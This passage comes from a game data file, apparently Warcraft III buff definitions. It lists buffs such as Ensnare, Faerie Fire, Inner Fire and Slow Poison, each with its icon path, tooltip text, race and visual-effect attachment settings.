(Caster)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\Drain\\\\ManaDrainCaster.mdl\"\ntargetattach=\"chest\"\ntargetattachcount=0\n\n[Bdef]\n_code=\"Bdef\"\n_id=\"Bdef\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNScroll.blp\"\nbufftip=\"Scroll of Protection\"\nbuffubertip=\"This unit is affected by a Scroll of Protection; its armor is temporarily increased.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=1\ntargetart=\"Abilities\\\\Spells\\\\Items\\\\AIda\\\\AIdaTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[Bdet]\n_code=\"Bdet\"\n_id=\"Bdet\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNDustOfAppearance.blp\"\nbufftip=\"Detected\"\nbuffubertip=\"This unit is detected; an enemy player can see it.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[Bdig]\n_code=\"Bdig\"\n_id=\"Bdig\"\n_type=\"buff\"\neditorname=\"Devour (Caster)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetattachcount=0\n\n[Bdtb]\n_code=\"Bdtb\"\n_id=\"Bdtb\"\n_type=\"buff\"\neditorname=\"Drain Life & Mana (Target)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\Drain\\\\DrainTarget.mdl\"\ntargetattach=\"chest\"\ntargetattachcount=0\n\n[Bdtl]\n_code=\"Bdtl\"\n_id=\"Bdtl\"\n_type=\"buff\"\neditorname=\"Drain Life (Target)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\Drain\\\\DrainTarget.mdl\"\ntargetattach=\"chest\"\ntargetattachcount=0\n\n[Bdtm]\n_code=\"Bdtm\"\n_id=\"Bdtm\"\n_type=\"buff\"\neditorname=\"Drain Mana (Target)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\Drain\\\\ManaDrainTarget.mdl\"\ntargetattach=\"chest\"\ntargetattachcount=0\n\n[Bdvv]\n_code=\"Bdvv\"\n_id=\"Bdvv\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNDevour.blp\"\nbufftip=\"Devour\"\nbuffubertip=\"A unit is being devoured; it will take damage while providing vision to the owner.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetattachcount=0\n\n[Beat]\n_code=\"Beat\"\n_id=\"Beat\"\n_type=\"buff\"\neditorname=\"Eat Tree\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetattachcount=0\n\n[Bena]\n_code=\"Bena\"\n_id=\"Bena\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNEnsnare.blp\"\nbufftip=\"Ensnare\"\nbuffubertip=\"This unit is ensnared; it cannot move or fly.\"\neditorsuffix=\" (Air)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Orc\\\\Ensnare\\\\ensnare_AirTarget.mdl\"\ntargetattach=\"chest,mount\"\ntargetattachcount=0\n\n[Beng]\n_code=\"Beng\"\n_id=\"Beng\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNEnsnare.blp\"\nbufftip=\"Ensnare\"\nbuffubertip=\"This unit is ensnared; it cannot move or fly.\"\neditorsuffix=\" (Ground)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Orc\\\\Ensnare\\\\ensnareTarget.mdl\"\ntargetattachcount=0\n\n[Bens]\n_code=\"Bens\"\n_id=\"Bens\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNEnsnare.blp\"\neditorname=\"Ensnare (General)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Orc\\\\Ensnare\\\\ensnareTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[Beye]\n_code=\"Beye\"\n_id=\"Beye\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNSentryWard.blp\"\nbufftip=\"Sentry Ward\"\nbuffubertip=\"Summoned units take damage from dispels.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetattachcount=0\n\n[Bfae]\n_code=\"Bfae\"\n_id=\"Bfae\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNFaerieFire.blp\"\nbufftip=\"Faerie Fire\"\nbuffubertip=\"This unit has Faerie Fire; it has reduced armor and can be seen by the enemy.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=1\ntargetart=\"Abilities\\\\Spells\\\\NightElf\\\\FaerieFire\\\\FaerieFireTarget.mdl\"\ntargetattach=\"head\"\ntargetattachcount=0\n\n[Bfre]\n_code=\"Bfre\"\n_id=\"Bfre\"\n_type=\"buff\"\neditorname=\"Freeze\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[Bfro]\n_code=\"Bfro\"\n_id=\"Bfro\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNFrost.blp\"\nbufftip=\"Slowed\"\nbuffubertip=\"This unit is slowed; it moves more slowly than it normally does.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\FrostDamage\\\\FrostDamage.mdl\"\ntargetattachcount=0\n\n[Bfrz]\n_code=\"Bfrz\"\n_id=\"Bfrz\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNFreezingBreath.blp\"\nbufftip=\"Freezing Breath\"\nbuffubertip=\"This building is frozen; its abilities cannot be used and it cannot be repaired.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\FreezingBreath\\\\FreezingBreathTargetArt.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[Bfzy]\n_code=\"Bfzy\"\n_id=\"Bfzy\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNBloodLust.blp\"\nbufftip=\"Frenzy\"\nbuffubertip=\"This unit has Frenzy; its attack rate and movement speed are increased.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=1\ntargetart=\"Abilities\\\\Spells\\\\Orc\\\\Bloodlust\\\\BloodlustTarget.mdl,Abilities\\\\Spells\\\\Orc\\\\Bloodlust\\\\BloodlustSpecial.mdl\"\ntargetattach=\"hand,left\"\ntargetattach1=\"hand,right\"\ntargetattachcount=2\n\n[Bgra]\n_code=\"Bgra\"\n_id=\"Bgra\"\n_type=\"buff\"\neditorname=\"War Club\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetattachcount=0\n\n[Bhea]\n_code=\"Bhea\"\n_id=\"Bhea\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNHeal.blp\"\nbufftip=\"Heal\"\nbuffubertip=\"This unit is being healed; lost hit points are being restored.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=1\ntargetattachcount=0\n\n[Bhwd]\n_code=\"Bhwd\"\n_id=\"Bhwd\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNHealingWard.blp\"\nbufftip=\"Healing Ward\"\nbuffubertip=\"This ward provides life regeneration for nearby friendly units.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetattachcount=0\n\n[Binf]\n_code=\"Binf\"\n_id=\"Binf\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNInnerFire.blp\"\nbufftip=\"Inner Fire\"\nbuffubertip=\"This unit has Inner Fire; its armor and attack damage are increased.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=1\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\InnerFire\\\\InnerFireTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=1\n\n[Binv]\n_code=\"Binv\"\n_id=\"Binv\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNInvisibility.blp\"\nbufftip=\"Invisibility\"\nbuffubertip=\"This unit is invisible; enemy units cannot see it. If it attacks or casts a spell, it will become visible.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetattachcount=0\n\n[Bivs]\n_code=\"Bivs\"\n_id=\"Bivs\"\n_type=\"buff\"\neditorname=\"Invisibility (Extra)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetattachcount=0\n\n[Bliq]\n_code=\"Bliq\"\n_id=\"Bliq\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\PassiveButtons\\\\PASBTNLiquidFire.blp\"\neditorname=\"Liquid Fire\"\neffectsoundlooped=\"LiquidFireLoop\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Orc\\\\LiquidFire\\\\Liquidfire.mdl\"\ntargetattachcount=0\n\n[Blsa]\n_code=\"Blsa\"\n_id=\"Blsa\"\n_type=\"buff\"\neditorname=\"Lightning Shield (Caster)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetattachcount=0\n\n[Blsh]\n_code=\"Blsh\"\n_id=\"Blsh\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNLightningShield.blp\"\nbufftip=\"Lightning Shield\"\nbuffubertip=\"This unit has a Lightning Shield; nearby friendly and enemy units will take damage if they are next to this unit.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspecialart=\"Abilities\\\\Spells\\\\Orc\\\\LightningShield\\\\LightningShieldBuff.mdl\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Orc\\\\LightningShield\\\\LightningShieldTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[Bmec]\n_code=\"Bmec\"\n_id=\"Bmec\"\n_type=\"buff\"\nbufftip=\"Mechanical Critter\"\nbuffubertip=\"Summoned units take damage from dispels.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[Bmfa]\n_code=\"Bmfa\"\n_id=\"Bmfa\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNManaFlare.blp\"\nbufftip=\"Mana Flare\"\nbuffubertip=\"This unit has Mana Flare on it; nearby enemy units that cast spells will take damage.\"\neditorsuffix=\" (Extra)\"\niseffect=0\nmissilearc=0.0\nmissileart=\"Abilities\\\\Spells\\\\Human\\\\ManaFlare\\\\ManaFlareMissile.mdl\"\nmissilehoming=1\nmissilespeed=1000\nrace=\"nightelf\"\nspecialart=\"Abilities\\\\Spells\\\\Human\\\\ManaFlare\\\\ManaFlareBoltImpact.mdl\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\ManaFlare\\\\ManaFlareTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[Bmfl]\n_code=\"Bmfl\"\n_id=\"Bmfl\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNManaFlare.blp\"\nbufftip=\"Mana Flare\"\nbuffubertip=\"This unit has Mana Flare on it; nearby enemy units that cast spells will take damage.\"\neffectsoundlooped=\"ManaFlareLoop\"\niseffect=0\nlightningeffect=\"MFPB\"\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\ManaFlare\\\\ManaFlareBase.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[Bmil]\n_code=\"Bmil\"\n_id=\"Bmil\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNCallToArms.blp\"\nbufftip=\"Militia\"\nbuffubertip=\"This unit has become Militia; its movement speed, attack rate, attack damage, and armor have been increased.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetattachcount=0\n\n[Bmlc]\n_code=\"Bmlc\"\n_id=\"Bmlc\"\n_type=\"buff\"\neditorname=\"Aerial Shackles (Caster)\"\neffectsoundlooped=\"AerialShacklesLoop\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetattachcount=0\n\n[Bmlt]\n_code=\"Bmlt\"\n_id=\"Bmlt\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNMagicLariet.blp\"\nbufftip=\"Aerial Shackles\"\nbuffubertip=\"This unit is bound in Aerial Shackles; it cannot move or attack and will take damage over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\AerialShackles\\\\AerialShacklesTarget.mdl\"\ntargetattach=\"chest,mount\"\ntargetattachcount=0\n\n[Boar]\n_code=\"Boar\"\n_id=\"Boar\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNHealingWard.blp\"\nbufftip=\"Healing Ward Aura\"\nbuffubertip=\"Increases life regeneration.\"\neffectsoundlooped=\"FountainOfLifeLoop\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=2\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\ANrm\\\\ANrmTarget.mdl\"\ntargetattachcount=0\n\n[Bphx]\n_code=\"Bphx\"\n_id=\"Bphx\"\n_type=\"buff\"\nbufftip=\"Phoenix\"\nbuffubertip=\"The power of the Phoenix unfolds.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetattachcount=0\n\n[Bpig]\n_code=\"Bpig\"\n_id=\"Bpig\"\n_type=\"buff\"\neditorname=\"Permanent Immolation\"\neditorsuffix=\" (Neutral Hostile 2)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspecialart=\"Abilities\\\\Spells\\\\Other\\\\ImmolationRed\\\\ImmolationRedDamage.mdl\"\nspecialattach=\"chest\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\ImmolationRed\\\\ImmolationRedTarget.mdl\"\ntargetattach=\"chest\"\ntargetattachcount=0\n\n[Bplg]\n_code=\"Bplg\"\n_id=\"Bplg\"\n_type=\"buff\"\neditorname=\"Disease Cloud\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetattachcount=0\n\n[Bply]\n_code=\"Bply\"\n_id=\"Bply\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNPolymorph.blp\"\nbufftip=\"Polymorph\"\nbuffubertip=\"This unit is Polymorphed; it is transformed into a sheep.\"\neffectart=\"Abilities\\\\Spells\\\\Human\\\\Polymorph\\\\PolyMorphDoneGround.mdl\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetattachcount=0\n\n[Bpoc]\n_code=\"Bpoc\"\n_id=\"Bpoc\"\n_type=\"buff\"\neditorname=\"Possession (Caster)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\Possession\\\\PossessionCaster.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[Bpoi]\n_code=\"Bpoi\"\n_id=\"Bpoi\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNEnvenomedSpear.blp\"\nbufftip=\"Poison\"\nbuffubertip=\"This unit is poisoned, and will take damage over time.\"\neditorsuffix=\" (Non-stacking)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=2\ntargetart=\"Abilities\\\\Weapons\\\\PoisonSting\\\\PoisonStingTarget.mdl\"\ntargetattachcount=0\n\n[Bpos]\n_code=\"Bpos\"\n_id=\"Bpos\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNPossession.blp\"\nbufftip=\"Possession\"\nbuffubertip=\"This unit is being possessed.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\Possession\\\\PossessionTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[Bprg]\n_code=\"Bprg\"\n_id=\"Bprg\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNPurge.blp\"\nbufftip=\"Purge\"\nbuffubertip=\"This unit is Purged; it has had all buffs removed, and has its movement speed slowed for a short duration.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Orc\\\\Purge\\\\PurgeBuffTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[Bpsd]\n_code=\"Bpsd\"\n_id=\"Bpsd\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNEnvenomedSpear.blp\"\nbufftip=\"Poison\"\nbuffubertip=\"This unit is poisoned; it will take damage over time.\"\neditorsuffix=\" (Stacking)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=2\ntargetart=\"Abilities\\\\Weapons\\\\PoisonSting\\\\PoisonStingTarget.mdl\"\ntargetattachcount=0\n\n[Bpsh]\n_code=\"Bpsh\"\n_id=\"Bpsh\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNPhaseShift.blp\"\nbufftip=\"Phase Shift\"\nbuffubertip=\"This unit has shifted out of existence and cannot be harmed temporarily.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspecialart=\"Abilities\\\\Spells\\\\NightElf\\\\FaerieDragonInvis\\\\FaerieDragon_Invis.mdl\"\nspelldetail=0\ntargetattachcount=0\n\n[Bpsi]\n_code=\"Bpsi\"\n_id=\"Bpsi\"\n_type=\"buff\"\neditorname=\"Poison (Info)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[Bpxf]\n_code=\"Bpxf\"\n_id=\"Bpxf\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNMarkOfFire.blp\"\nbufftip=\"Phoenix Fire\"\nbuffubertip=\"This unit is being burned by Phoenix Fire; it will take damage over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\BreathOfFire\\\\BreathOfFireDamage.mdl\"\ntargetattachcount=0\n\n[Brai]\n_code=\"Brai\"\n_id=\"Brai\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNSkeletonWarrior.blp\"\nbufftip=\"Skeletal Minion\"\nbuffubertip=\"Summoned units take damage from dispels.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetattachcount=0\n\n[Brej]\n_code=\"Brej\"\n_id=\"Brej\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNRejuvenation.blp\"\nbufftip=\"Rejuvenation\"\nbuffubertip=\"This unit has Rejuvenation; it is healing hit points over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\NightElf\\\\Rejuvenation\\\\RejuvenationTarget.mdl\"\ntargetattach=\"chest\"\ntargetattachcount=0\n\n[Broa]\n_code=\"Broa\"\n_id=\"Broa\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNBattleRoar.blp\"\nbufftip=\"Roar\"\nbuffubertip=\"This unit has Roar; its attack damage has been increased.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=1\ntargetart=\"Abilities\\\\Spells\\\\NightElf\\\\BattleRoar\\\\RoarTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[Brpb]\n_code=\"Brpb\"\n_id=\"Brpb\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNReplenishMana.blp\"\nbufftip=\"Replenish\"\nbuffubertip=\"This unit has been hit by Replenish; some of its hit points and mana have been restored.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetattachcount=0\n\n[Brpl]\n_code=\"Brpl\"\n_id=\"Brpl\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNReplenishHealth.blp\"\nbufftip=\"Essence of Blight\"\nbuffubertip=\"This unit has been hit by Essence of Blight; some of its hit points have been restored.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetattachcount=0\n\n[Brpm]\n_code=\"Brpm\"\n_id=\"Brpm\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNReplenishMana.blp\"\nbufftip=\"Spirit Touch\"\nbuffubertip=\"This unit has been hit by Spirit Touch; some of its mana has been restored.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetattachcount=0\n\n[Bsha]\n_code=\"Bsha\"\n_id=\"Bsha\"\n_type=\"buff\"\neditorname=\"Shared Vision\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[Bshs]\n_code=\"Bshs\"\n_id=\"Bshs\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNWandOfShadowSight.blp\"\nbufftip=\"Wand of Shadowsight\"\nbuffubertip=\"This unit was hit by a Wand of Shadowsight; it is revealed to an enemy player.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[Bslo]\n_code=\"Bslo\"\n_id=\"Bslo\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNSlow.blp\"\nbufftip=\"Slow\"\nbuffubertip=\"This unit is slowed; its movement speed and attack rate are reduced.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=1\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\slow\\\\slowtarget.mdl\"\ntargetattachcount=0\n\n[Bspa]\n_code=\"Bspa\"\n_id=\"Bspa\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNSpider.blp\"\nbufftip=\"Spiderling\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"undead\"\nspelldetail=0\ntargetart=\"Abilities\\\\Weapons\\\\CryptFiendMissile\\\\CryptFiendMissileTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[Bspe]\n_code=\"Bspe\"\n_id=\"Bspe\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNBoots.blp\"\nbufftip=\"Speed Bonus\"\nbuffubertip=\"This unit has a speed bonus; it moves more quickly than it normally does.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Items\\\\AIsp\\\\SpeedTarget.mdl\"\ntargetattachcount=0\n\n[Bspl]\n_code=\"Bspl\"\n_id=\"Bspl\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNSpiritLink.blp\"\nbufftip=\"Spirit Link\"\nbuffubertip=\"This unit is Spirit Linked; it will distribute some of the damage it takes across other Spirit Linked units.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Orc\\\\SpiritLink\\\\SpiritLinkTarget.mdl\"\ntargetattach=\"chest\"\ntargetattachcount=0\n\n[Bspo]\n_code=\"Bspo\"\n_id=\"Bspo\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNSlowPoison.blp\"\nbufftip=\"Slow Poison\"\nbuffubertip=\"This unit was hit by Slow Poison; its movement speed and attack rate have been reduced, and it will take damage over time.\"\neditorsuffix=\" (Non-stacking)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=2\ntargetart=\"Abilities\\\\Weapons\\\\PoisonSting\\\\PoisonStingTarget.mdl\"\ntargetattachcount=0\n\n[Bssd]\n_code=\"Bssd\"\n_id=\"Bssd\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\PassiveButtons\\\\PASBTNSlowPoison.blp\"\nbufftip=\"Slow Poison\"\nbuffubertip=\"This unit was hit by Slow Poison; its movement speed and attack rate have been reduced, and it will take damage over time.\"\neditorsuffix=\" (Stacking)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=2\ntargetart=\"Abilities\\\\Weapons\\\\PoisonSting\\\\PoisonStingTarget.mdl\"\ntargetattachcount=0\n\n[Bssi]\n_code=\"Bssi\"\n_id=\"Bssi\"\n_type=\"buff\"\neditorname=\"Slow Poison (Info)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"nightelf\"\nspelldetail=0\ntargetattachcount=0\n\n[Bsta]\n_code=\"Bsta\"\n_id=\"Bsta\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNStasisTrap.blp\"\nbufftip=\"Stasis Trap\"\nbuffubertip=\"This unit is stunned by Stasis Trap and cannot move, attack or cast spells.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\Thunderclap\\\\ThunderclapTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[Bstt]\n_code=\"Bstt\"\n_id=\"Bstt\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNStasisTrap.blp\"\nbufftip=\"Stasis Trap\"\nbuffubertip=\"This ward will stun enemy land units when triggered.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"orc\"\nspelldetail=0\ntargetattachcount=0\n\n[Btdg]\n_code=\"Btdg\"\n_id=\"Btdg\"\n_type=\"buff\"\neditorname=\"Tornado 